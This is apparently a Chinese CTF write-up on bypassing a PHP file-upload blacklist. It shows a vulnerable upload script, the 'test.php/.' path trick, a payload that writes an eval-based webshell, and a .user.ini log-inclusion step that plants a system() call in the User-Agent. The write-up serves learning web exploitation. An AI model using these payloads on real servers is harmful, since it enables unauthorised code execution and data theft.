文件上传绕过

1.file_put_contents 路径漏洞

php 复制代码
 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
//php stristr()函数 语法

作用:返回一个字符串在另一个字符串中开始位置到结束的字符串,不区分大小写
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 

这题看似上了waf,把能够造成敏感文件的php、配置文件等都给搬掉了,但是这里使用了file_put_contents()以及urlencode,当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。

2.写入木马payload:

php 复制代码
<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

3.题目过滤了< 不能传木马,然后可以通过.user.ini 配合日志文件包含:

直接UA写马 <?php system('tac /f*');?>

相关推荐
福尔摩斯张18 分钟前
Linux信号捕捉特性详解:从基础到高级实践(超详细)
linux·运维·服务器·c语言·前端·驱动开发·microsoft
小冷coding1 小时前
【Java】高并发架构设计:1000 QPS服务器配置与压测实战
java·服务器·开发语言
looking_for__1 小时前
【Linux】进程控制
linux
Xの哲學1 小时前
Linux电源管理深度剖析
linux·服务器·算法·架构·边缘计算
cypking1 小时前
Nuxt项目内网服务器域名代理访问故障排查
运维·服务器·php
破刺不会编程1 小时前
socket编程TCP
linux·运维·服务器·开发语言·网络·网络协议·tcp/ip
CILMY231 小时前
【Linux】进度条实践教程:使用Makefile构建项目
linux·进度条·make和makefile
gaize12131 小时前
腾讯云锐驰和蜂驰的区别
服务器·腾讯云
沉在嵌入式的鱼2 小时前
linux串口对0X0D、0X0A等特殊字符的处理
linux·stm32·单片机·特殊字符·串口配置
gxh19922 小时前
4步将HTTP请求升级为HTTPS
运维·服务器·网络协议·http·https